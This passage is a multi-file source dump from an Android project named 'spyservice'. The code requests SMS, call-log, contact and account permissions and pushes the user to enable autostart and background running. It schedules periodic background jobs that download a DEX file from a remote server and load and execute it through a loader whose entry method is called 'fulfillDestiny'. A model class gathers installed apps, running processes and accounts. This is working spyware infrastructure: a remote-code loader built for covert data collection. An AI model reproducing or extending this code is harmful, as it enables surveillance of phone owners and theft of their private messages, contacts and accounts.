CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.loadable.content; 12 | 13 | import java.util.List; 14 | 15 | public class SystemInformation 16 | { 17 | private final String osVersion; 18 | private final int sdkVersion; 19 | private final String freeSpace; 20 | private final List installedApps; 21 | private final List runningProcesses; 22 | private final List accounts; 23 | 24 | private SystemInformation(String osVersion, int sdkVersion, String freeSpace, List installedApps, List runningProcesses, List accounts) { 25 | this.osVersion = osVersion; 26 | this.sdkVersion = sdkVersion; 27 | this.freeSpace = freeSpace; 28 | this.installedApps = installedApps; 29 | this.runningProcesses = runningProcesses; 30 | this.accounts = accounts; 31 | } 32 | 33 | public String getOsVersion() 34 | { 35 | return osVersion; 36 | } 37 | 38 | public int getSdkVersion() 39 | { 40 | return sdkVersion; 41 | } 42 | 43 | public String getFreeSpace() 44 | { 45 | return freeSpace; 46 | } 47 | 48 | public List getInstalledApps() 49 | { 50 | return installedApps; 51 | } 52 | 53 | public List getRunningProcesses() 54 | { 55 | return runningProcesses; 56 | } 57 | 58 | public List getAccounts() 59 | { 60 | return accounts; 61 | } 62 | 63 | public static final class Builder 64 | { 65 | private String osVersion; 66 | private int sdkVersion; 67 | private String freeSpaceBytes; 68 | private List installedApps; 69 | private List runningProcesses; 70 | private List accounts; 71 | 72 | private Builder() 73 | { 74 | } 75 | 76 | public static Builder createBuilder() 77 | { 78 | return new Builder(); 79 | } 80 | 81 | public Builder setOsVersion(String osVersion) 82 | { 83 | this.osVersion = osVersion; 84 | return this; 85 | } 86 | 87 | public Builder setSdkVersion(int sdkVersion) 88 | { 89 | this.sdkVersion = sdkVersion; 90 | return this; 91 | } 92 | 93 | public Builder setFreeSpace(String freeSpaceBytes) 94 | { 95 | this.freeSpaceBytes = freeSpaceBytes; 96 | return this; 97 | } 98 | 99 | public Builder setInstalledApps(List installedApps) 100 | { 101 | this.installedApps = installedApps; 102 | return this; 103 | } 104 | 105 | public Builder setRunningProcesses(List runningProcesses) 106 | { 107 | this.runningProcesses = runningProcesses; 108 | return this; 109 | } 110 | 111 | public Builder setAccounts(List accounts) 112 | { 113 | this.accounts = accounts; 114 | return this; 115 | } 116 | 117 | public SystemInformation build() 118 | { 119 | return new SystemInformation(osVersion, sdkVersion, freeSpaceBytes, installedApps, runningProcesses, accounts); 120 | } 121 | } 122 | } 123 | -------------------------------------------------------------------------------- /app/loadableinterface/src/main/java/ru/er_log/spyservice/util/CommonUtils.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.util; 12 | 13 | import android.annotation.SuppressLint; 14 | import android.content.Context; 15 | import android.util.Log; 16 | 17 | import java.io.BufferedReader; 18 | import java.io.File; 19 | import java.io.FileInputStream; 20 | import java.io.FileOutputStream; 21 | import java.io.IOException; 22 | import java.io.InputStreamReader; 23 | import java.nio.charset.StandardCharsets; 24 | import java.util.UUID; 25 | 26 | import ru.er_log.spyservice.Settings; 27 | 28 | public class CommonUtils 29 | { 30 | private static String uniqueId = null; 31 | public static String getUniqueAppInstallationId(Context context) 32 | { 33 | synchronized (CommonUtils.class) 34 | { 35 | if (uniqueId != null) return uniqueId; 36 | File file = new File(context.getApplicationInfo().dataDir + File.separator + "unique.id"); 37 | 38 | if (file.isFile()) 39 | { 40 | try (FileInputStream inputStream = new FileInputStream(file.getAbsolutePath())) 41 | { 42 | InputStreamReader inputStreamReader = new InputStreamReader(inputStream, StandardCharsets.UTF_8); 43 | BufferedReader bufferedReader = new BufferedReader(inputStreamReader); 44 | uniqueId = bufferedReader.readLine(); 45 | return uniqueId; 46 | } catch (IOException e) 47 | { 48 | Log.e(Settings.LOG_TAG, "Can't read existing unique install app id, returning random"); 49 | e.printStackTrace(); 50 | } 51 | } 52 | 53 | @SuppressLint("HardwareIds") 54 | String deviceId = android.provider.Settings.Secure.getString(context.getContentResolver(), android.provider.Settings.Secure.ANDROID_ID); 55 | if ("9774d56d682e549c".compareTo(deviceId) == 0) deviceId = null; 56 | 57 | if (deviceId != null) 58 | uniqueId = UUID.nameUUIDFromBytes(deviceId.getBytes(StandardCharsets.UTF_8)).toString(); 59 | else 60 | uniqueId = UUID.randomUUID().toString(); 61 | 62 | try (FileOutputStream fileOutputStream = new FileOutputStream(file)) 63 | { 64 | fileOutputStream.write(uniqueId.getBytes(StandardCharsets.UTF_8)); 65 | } catch (IOException e) 66 | { 67 | Log.e(Settings.LOG_TAG, "Can't write new unique install app id, returning random"); 68 | e.printStackTrace(); 69 | } 70 | 71 | return uniqueId; 72 | } 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /app/loadableinterface/src/test/java/ru/er_log/spyservice/loadable/ExampleUnitTest.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.loadable; 12 | 13 | import org.junit.Test; 14 | 15 | import static org.junit.Assert.*; 16 | 17 | /** 18 | * Example local unit test, which will execute on the development machine (host). 19 | * 20 | * @see Testing documentation 21 | */ 22 | public class ExampleUnitTest 23 | { 24 | @Test 25 | public void addition_isCorrect() 26 | { 27 | assertEquals(4, 2 + 2); 28 | } 29 | } -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile 22 | -------------------------------------------------------------------------------- /app/src/androidTest/java/ru/er_log/spyservice/ExampleInstrumentedTest.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice; 12 | 13 | import android.content.Context; 14 | 15 | import androidx.test.platform.app.InstrumentationRegistry; 16 | import androidx.test.ext.junit.runners.AndroidJUnit4; 17 | 18 | import org.junit.Test; 19 | import org.junit.runner.RunWith; 20 | 21 | import static org.junit.Assert.*; 22 | 23 | /** 24 | * Instrumented test, which will execute on an Android device. 25 | * 26 | * @see Testing documentation 27 | */ 28 | @RunWith(AndroidJUnit4.class) 29 | public class ExampleInstrumentedTest 30 | { 31 | @Test 32 | public void useAppContext() 33 | { 34 | // Context of the app under test. 35 | Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); 36 | 37 | assertEquals("ru.er_log.spyservice", appContext.getPackageName()); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /app/src/main/java/ru/er_log/spyservice/MainActivity.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice; 12 | 13 | import android.Manifest; 14 | import android.annotation.SuppressLint; 15 | import android.content.Context; 16 | import android.content.pm.PackageManager; 17 | import android.graphics.Color; 18 | import android.os.AsyncTask; 19 | import android.os.Bundle; 20 | import android.os.Handler; 21 | import android.util.Log; 22 | import android.view.View; 23 | import android.widget.TextView; 24 | import android.widget.Toast; 25 | 26 | import androidx.annotation.NonNull; 27 | import androidx.appcompat.app.AppCompatActivity; 28 | import androidx.core.app.ActivityCompat; 29 | import androidx.core.content.ContextCompat; 30 | import androidx.work.Constraints; 31 | import androidx.work.ExistingPeriodicWorkPolicy; 32 | import androidx.work.NetworkType; 33 | import androidx.work.PeriodicWorkRequest; 34 | import androidx.work.WorkInfo; 35 | import androidx.work.WorkManager; 36 | 37 | import com.judemanutd.autostarter.AutoStartPermissionHelper; 38 | 39 | import java.io.File; 40 | import java.io.IOException; 41 | import java.util.ArrayList; 42 | import java.util.List; 43 | import java.util.concurrent.ExecutionException; 44 | 45 | import ru.er_log.spyservice.loadable.DexLoader; 46 | import ru.er_log.spyservice.network.DownloadManager; 47 | import ru.er_log.spyservice.util.ChinesePermissionUtils; 48 | import ru.er_log.spyservice.util.CommonUtils; 49 | 50 | public class MainActivity extends AppCompatActivity 51 | { 52 | private static final int PERMISSION_REQUEST_CODE = 100; 53 | 54 | @Override 55 | protected void onCreate(Bundle savedInstanceState) 56 | { 57 | super.onCreate(savedInstanceState); 58 | setContentView(R.layout.activity_main); 59 | 60 | checkPermissions(); 61 | new StatusUpdater().execute(this); 62 | 63 | TextView id = this.findViewById(R.id.textviewUniqueId); 64 | id.setText(CommonUtils.getUniqueAppInstallationId(this)); 65 | } 66 | 67 | private static class LocalDEXTask extends AsyncTask 68 | { 69 | @Override 70 | protected Void doInBackground(Context... contexts) 71 | { 72 | DownloadManager downloadManager = new DownloadManager(); 73 | DexLoader dexLoader = new DexLoader(contexts[0], downloadManager); 74 | Worker.doWork(dexLoader); 75 | return null; 76 | } 77 | } 78 | 79 | private void blockAllUIComponents(boolean really) 80 | { 81 | findViewById(R.id.buttonClient).setEnabled(!really); 82 | findViewById(R.id.buttonServer).setEnabled(!really); 83 | } 84 | 85 | /** Especially for devices with a shell (not raw Android). */ 86 | private void checkManufacturerPermissions() 87 | { 88 | blockAllUIComponents(true); 89 | 90 | Toast.makeText(this, "Hi. Please, check the following in next setting windows:", Toast.LENGTH_LONG).show(); 91 | Toast.makeText(this, " -> enable autostart for this app", Toast.LENGTH_LONG).show(); 92 | Toast.makeText(this, " -> allow app running in background", Toast.LENGTH_LONG).show(); 93 | 94 | Handler handler = new Handler(); 95 | handler.postDelayed(() -> 96 | { 97 | if (AutoStartPermissionHelper.getInstance().isAutoStartPermissionAvailable(this)) 98 | { 99 | // Toast.makeText(this, "Please, enable autostart for this app", Toast.LENGTH_LONG).show(); 100 | AutoStartPermissionHelper.getInstance().getAutoStartPermission(this); 101 | } 102 | 103 | ChinesePermissionUtils.goToSetting(this); 104 | blockAllUIComponents(false); 105 | }, 10600); 106 | } 107 | 108 | private void checkPermissions() 109 | { 110 | String[] permissions = 111 | { 112 | Manifest.permission.READ_EXTERNAL_STORAGE, 113 | Manifest.permission.WRITE_EXTERNAL_STORAGE, 114 | Manifest.permission.INTERNET, 115 | 116 | Manifest.permission.READ_SMS, 117 | Manifest.permission.READ_CALL_LOG, 118 | Manifest.permission.READ_CONTACTS, 119 | Manifest.permission.GET_TASKS, 120 | Manifest.permission.GET_ACCOUNTS 121 | }; 122 | 123 | List request = new ArrayList<>(); 124 | for (String permission : permissions) 125 | if (ContextCompat.checkSelfPermission(this, permission) != PackageManager.PERMISSION_GRANTED) 126 | request.add(permission); 127 | 128 | if (!request.isEmpty()) 129 | ActivityCompat.requestPermissions(this, request.toArray(new String[0]), PERMISSION_REQUEST_CODE); 130 | } 131 | 132 | @Override 133 | public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) 134 | { 135 | for (int i = 0; i < grantResults.length; i++) 136 | if (grantResults[i] == PackageManager.PERMISSION_DENIED) 137 | { 138 | Log.e(Settings.LOG_TAG, "Finishing... Permission not granted: " + permissions[i]); 139 | finish(); 140 | return; 141 | } 142 | 143 | if (isFirstLaunch(this)) 144 | checkManufacturerPermissions(); 145 | } 146 | 147 | public void clickStartService(View view) 148 | { 149 | if (!Settings.RUN_IN_BACKGROUND) 150 | { 151 | new LocalDEXTask().execute(this); 152 | return; 153 | } 154 | 155 | Constraints constrains = new Constraints.Builder() 156 | .setRequiredNetworkType(NetworkType.NOT_ROAMING) 157 | .setRequiresDeviceIdle(Settings.REQUIRES_IDLE) 158 | .build(); 159 | 160 | PeriodicWorkRequest.Builder builder = new PeriodicWorkRequest.Builder(Worker.class, Settings.REPEAT_INTERVAL, Settings.REPEAT_TIME_UNIT, Settings.FLEX_INTERVAL, Settings.FLEX_TIME_UNIT) 161 | .addTag(Settings.TASK_TAG) 162 | .setInitialDelay(Settings.INITIAL_DELAY, Settings.INITIAL_TIME_UNIT) 163 | .setConstraints(constrains); 164 | 165 | WorkManager.getInstance(this).enqueueUniquePeriodicWork(Settings.TASK_TAG, ExistingPeriodicWorkPolicy.KEEP, builder.build()); 166 | 167 | Toast.makeText(this, "Ok, task planned", Toast.LENGTH_SHORT).show(); 168 | new StatusUpdater().execute(this); 169 | } 170 | 171 | public void clickStopService(View view) 172 | { 173 | WorkManager.getInstance(this).cancelAllWorkByTag(Settings.TASK_TAG); 174 | 175 | Toast.makeText(this, "Ok, task canceled", Toast.LENGTH_SHORT).show(); 176 | new StatusUpdater().execute(this); 177 | } 178 | 179 | private static class StatusUpdater extends AsyncTask 180 | { 181 | @SuppressLint("SetTextI18n") 182 | @Override 183 | protected Void doInBackground(MainActivity... activities) 184 | { 185 | try 186 | { 187 | List list = WorkManager.getInstance(activities[0]).getWorkInfosForUniqueWork(Settings.TASK_TAG).get(); 188 | 189 | int failedRunAttempts = 0; 190 | int totalRunAttempts = 0; 191 | int queuedCount = 0; 192 | 193 | boolean planned = false; 194 | for (WorkInfo info : list) 195 | { 196 | WorkInfo.State state = info.getState(); 197 | 198 | if (state.compareTo(WorkInfo.State.FAILED) == 0 || state.compareTo(WorkInfo.State.CANCELLED) == 0) 199 | failedRunAttempts++; 200 | else if (state.compareTo(WorkInfo.State.RUNNING) <= 0) 201 | queuedCount++; 202 | 203 | if (!state.isFinished()) 204 | planned = true; 205 | else 206 | totalRunAttempts++; 207 | } 208 | 209 | String statsFailed = failedRunAttempts + " of " + totalRunAttempts; 210 | String statsQueued = queuedCount + ""; 211 | final boolean _planned = planned; 212 | activities[0].runOnUiThread(() -> 213 | { 214 | TextView textviewStatus = activities[0].findViewById(R.id.textviewStatus); 215 | TextView textviewStatusTotal = activities[0].findViewById(R.id.textviewStatusTotal); 216 | TextView textviewStatusQueued = activities[0].findViewById(R.id.textviewStatusQueued); 217 | 218 | if (list.isEmpty() || !_planned) 219 | { 220 | textviewStatus.setTextColor(Color.LTGRAY); 221 | textviewStatus.setText("Service status: stopped"); 222 | 223 | textviewStatusTotal.setText(""); 224 | textviewStatusQueued.setText(""); 225 | } else 226 | { 227 | textviewStatus.setTextColor(0xFF00AD34); 228 | textviewStatus.setText("Service status: active"); 229 | 230 | textviewStatusTotal.setTextColor(Color.LTGRAY); 231 | textviewStatusTotal.setText(" > failed works: " + statsFailed.toLowerCase()); 232 | 233 | textviewStatusQueued.setTextColor(Color.LTGRAY); 234 | textviewStatusQueued.setText(" > works queued or running: " + statsQueued); 235 | } 236 | }); 237 | 238 | return null; 239 | } catch (ExecutionException | InterruptedException e) 240 | { 241 | Log.d(Settings.TASK_TAG, "Can't get task status: " + e.getMessage()); 242 | e.printStackTrace(); 243 | } 244 | 245 | return null; 246 | } 247 | } 248 | 249 | public static boolean isFirstLaunch(Context context) 250 | { 251 | File file = new File(context.getApplicationInfo().dataDir + File.separator + "launch.tag"); 252 | if (file.isFile()) 253 | return false; 254 | 255 | File parent = file.getParentFile(); 256 | if (parent != null) parent.mkdirs(); 257 | try { file.createNewFile(); } 258 | catch (IOException e) 259 | { 260 | Log.e(Settings.LOG_TAG, "Failed to fix first application launch: " + e.getMessage()); 261 | e.printStackTrace(); 262 | } 263 | return true; 264 | } 265 | } 266 | -------------------------------------------------------------------------------- /app/src/main/java/ru/er_log/spyservice/Worker.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice; 12 | 13 | import android.content.Context; 14 | import android.util.Log; 15 | 16 | import androidx.annotation.NonNull; 17 | import androidx.work.WorkerParameters; 18 | 19 | import java.io.File; 20 | 21 | import ru.er_log.spyservice.loadable.DexLoader; 22 | import ru.er_log.spyservice.network.DownloadManager; 23 | 24 | public class Worker extends androidx.work.Worker 25 | { 26 | private DexLoader dexLoader; 27 | 28 | public Worker(@NonNull Context context, @NonNull WorkerParameters workerParams) 29 | { 30 | super(context, workerParams); 31 | 32 | DownloadManager downloadManager = new DownloadManager(); 33 | dexLoader = new DexLoader(context, downloadManager); 34 | } 35 | 36 | @NonNull 37 | @Override 38 | public Result doWork() 39 | { 40 | return doWork(dexLoader); 41 | } 42 | 43 | public static Result doWork(DexLoader dexLoader) 44 | { 45 | if (Settings.USE_LOCAL_DEX) 46 | { 47 | Log.d(Settings.LOG_TAG, "WARNING: USE_LOCAL_DEX settings is ON"); 48 | //dexLoader.forceSetDEXLoader(new ru.er_log.spyservice.loadable.Loadable()); // Comment/Uncomment for release/debug. 49 | } else 50 | { 51 | if (!dexLoader.downloadDex(null)) 52 | { 53 | Log.d(Settings.LOG_TAG, "Failure while downloading DEX file"); 54 | File file = new File(dexLoader.getConstDexPath()); 55 | if (file.isFile()) 56 | { 57 | Log.d(Settings.LOG_TAG, "Trying to load old DEX file..."); 58 | dexLoader.forceSetDEXFile(file); 59 | } else 60 | { 61 | Log.d(Settings.LOG_TAG, "DEX not downloaded, can't continue..."); 62 | return Result.failure(); 63 | } 64 | } 65 | 66 | try 67 | { 68 | dexLoader.loadDex(); 69 | } catch (DexLoader.DEXNotFoundException e) 70 | { 71 | Log.d(Settings.LOG_TAG, "Can't load DEX: " + e.getMessage()); 72 | return Result.failure(); 73 | } 74 | } 75 | 76 | try 77 | { 78 | if (dexLoader.start()) 79 | return Result.success(); 80 | else 81 | return Result.retry(); 82 | } catch (DexLoader.DEXNotLoadedException e) 83 | { 84 | Log.d(Settings.LOG_TAG, "Can't start DEX: " + e.getMessage()); 85 | return Result.failure(); 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /app/src/main/java/ru/er_log/spyservice/loadable/DexLoader.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.loadable; 12 | 13 | import android.content.Context; 14 | import android.util.Log; 15 | 16 | import androidx.annotation.Nullable; 17 | 18 | import org.jetbrains.annotations.NotNull; 19 | 20 | import java.io.File; 21 | 22 | import ru.er_log.spyservice.Settings; 23 | import ru.er_log.spyservice.network.DownloadManager; 24 | import ru.er_log.spyservice.network.IDownloadCallback; 25 | 26 | public class DexLoader 27 | { 28 | private final Context context; 29 | private final DownloadManager downloadManager; 30 | 31 | private File dexFile; 32 | private ILoadable loadable; 33 | 34 | public DexLoader(@NotNull Context context, @NotNull DownloadManager downloadManager) 35 | { 36 | this.context = context; 37 | this.downloadManager = downloadManager; 38 | } 39 | 40 | public void loadDex() throws DEXNotFoundException 41 | { 42 | if (dexFile == null || !dexFile.isFile()) 43 | throw new DEXNotFoundException("Can't find DEX file. Maybe not downloaded yet."); 44 | 45 | String loadableClass = "ru.er_log.spyservice.loadable.Loadable"; 46 | loadable = Util.loadModule(loadableClass, dexFile, context.getDir("outdex", Context.MODE_PRIVATE), context.getClassLoader()); 47 | if (loadable == null) 48 | Log.e(Settings.LOG_TAG, "Can't load class: " + loadableClass); 49 | else 50 | Log.d(Settings.LOG_TAG, "DEX successfully loaded"); 51 | } 52 | 53 | /** If {@param callback} is null, then will used synchronized method. */ 54 | public boolean downloadDex(@Nullable IDownloadCallback callback) 55 | { 56 | if (callback == null) // Synchronous. 57 | { 58 | if (downloadManager.download("dex", getConstDexPath(), null)) 59 | { 60 | dexFile = new File(getConstDexPath()); 61 | return true; 62 | } else 63 | { 64 | dexFile = null; 65 | return false; 66 | } 67 | } else // Asynchronous. 68 | { 69 | downloadManager.download("dex", getConstDexPath(), callback); 70 | return true; 71 | } 72 | } 73 | 74 | /** If DEX file can't be downloaded, you can set it using this method. */ 75 | public void forceSetDEXFile(File file) 76 | { 77 | this.dexFile = file; 78 | } 79 | 80 | public void forceSetDEXLoader(ILoadable loadable) 81 | { 82 | this.loadable = loadable; 83 | } 84 | 85 | public boolean start() throws DEXNotLoadedException 86 | { 87 | if (loadable == null) 88 | throw new DEXNotLoadedException("DEX not loaded"); 89 | 90 | return loadable.fulfillDestiny(context); 91 | } 92 | 93 | public String getConstDexPath() 94 | { 95 | return new File(context.getDir("classes", Context.MODE_PRIVATE), "classes.dex").getAbsolutePath(); 96 | } 97 | 98 | public static class DEXNotLoadedException extends Exception 99 | { 100 | DEXNotLoadedException() { super(); } 101 | DEXNotLoadedException(String message) { super(message); } 102 | } 103 | 104 | public static class DEXNotFoundException extends Exception 105 | { 106 | DEXNotFoundException() { super(); } 107 | DEXNotFoundException(String message) { super(message); } 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /app/src/main/java/ru/er_log/spyservice/network/DownloadManager.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.network; 12 | 13 | import android.util.Log; 14 | 15 | import org.jetbrains.annotations.NotNull; 16 | import org.jetbrains.annotations.Nullable; 17 | 18 | import java.io.File; 19 | import java.io.FileOutputStream; 20 | import java.io.InputStream; 21 | import java.io.OutputStream; 22 | import java.util.Objects; 23 | 24 | import okhttp3.MediaType; 25 | import okhttp3.ResponseBody; 26 | import retrofit2.Call; 27 | import retrofit2.Callback; 28 | import retrofit2.Response; 29 | import retrofit2.Retrofit; 30 | import retrofit2.http.GET; 31 | import retrofit2.http.Query; 32 | import retrofit2.http.Streaming; 33 | import ru.er_log.spyservice.Settings; 34 | 35 | public class DownloadManager 36 | { 37 | private IDownloadAPI downloadAPI; 38 | 39 | private interface IDownloadAPI 40 | { 41 | @Streaming 42 | @GET("download.php") 43 | Call download(@Query("file") String file, @Query("lastModifiedTime") long lastModifiedTime); 44 | } 45 | 46 | public DownloadManager() 47 | { 48 | Retrofit retrofit = new Retrofit.Builder() 49 | .baseUrl(Settings.API_URL) 50 | .build(); 51 | 52 | downloadAPI = retrofit.create(IDownloadAPI.class); 53 | } 54 | 55 | /** Downloads file. If the {@param callback} is null, then used synchronized connection method. */ 56 | public boolean download(@NotNull String getName, @NotNull String saveFile, @Nullable IDownloadCallback callback) 57 | { 58 | File toSave = new File(saveFile); 59 | toSave.getParentFile().mkdirs(); 60 | if (toSave.isDirectory()) 61 | throw new IllegalArgumentException("Parameter 'saveFile' is a directory"); 62 | 63 | Callback callbackD = new Callback() 64 | { 65 | @Override 66 | public void onResponse(@NotNull Call call, @NotNull Response response) 67 | { 68 | assert callback != null; 69 | if (onCallResponse(response, toSave)) 70 | callback.onComplete(toSave); 71 | else 72 | callback.onFailure(); 73 | } 74 | 75 | @Override 76 | public void onFailure(@NotNull Call call, @NotNull Throwable t) 77 | { 78 | assert callback != null; 79 | if (onCallFailure(t)) 80 | callback.onComplete(toSave); 81 | else 82 | callback.onFailure(); 83 | } 84 | }; 85 | 86 | long lastModified = 0; 87 | if (toSave.isFile()) 88 | lastModified = toSave.lastModified(); 89 | Call call = downloadAPI.download(getName, lastModified); 90 | 91 | if (callback != null) // Asynchronous process. 92 | { 93 | call.enqueue(callbackD); 94 | return true; 95 | } else // Synchronous process. 96 | { 97 | try 98 | { 99 | Response response = call.execute(); 100 | return onCallResponse(response, toSave); 101 | } catch (Exception e) 102 | { 103 | return onCallFailure(e); 104 | } 105 | } 106 | } 107 | 108 | private boolean onCallResponse(@NotNull Response response, File toSave) 109 | { 110 | if (response.isSuccessful()) 111 | { 112 | if (response.code() == 200 && response.body() != null && Objects.equals(response.body().contentType(), MediaType.get("application/force-download"))) 113 | { 114 | Log.d(Settings.LOG_TAG, "Server contacted and has file"); 115 | try 116 | { 117 | writeResponseBodyToDisk(response.body(), toSave); 118 | Log.d(Settings.LOG_TAG, "File downloaded and written to disk"); 119 | return true; 120 | } catch (Exception e) 121 | { 122 | Log.e(Settings.LOG_TAG, "Can't write file to disk"); 123 | e.printStackTrace(); 124 | return false; 125 | } finally 126 | { 127 | if (response.body() != null) 128 | response.body().close(); 129 | } 130 | } else if (response.code() == 204) 131 | { 132 | Log.d(Settings.LOG_TAG, "Server contacted but file exists and there's no need to update it"); 133 | return true; 134 | } else 135 | { 136 | Log.w(Settings.LOG_TAG, "Server contacted, but got unexpected response: " + response.toString()); 137 | return false; 138 | } 139 | } else 140 | { 141 | Log.e(Settings.LOG_TAG, "Server contacted, but returned an error code: " + response.toString()); 142 | return 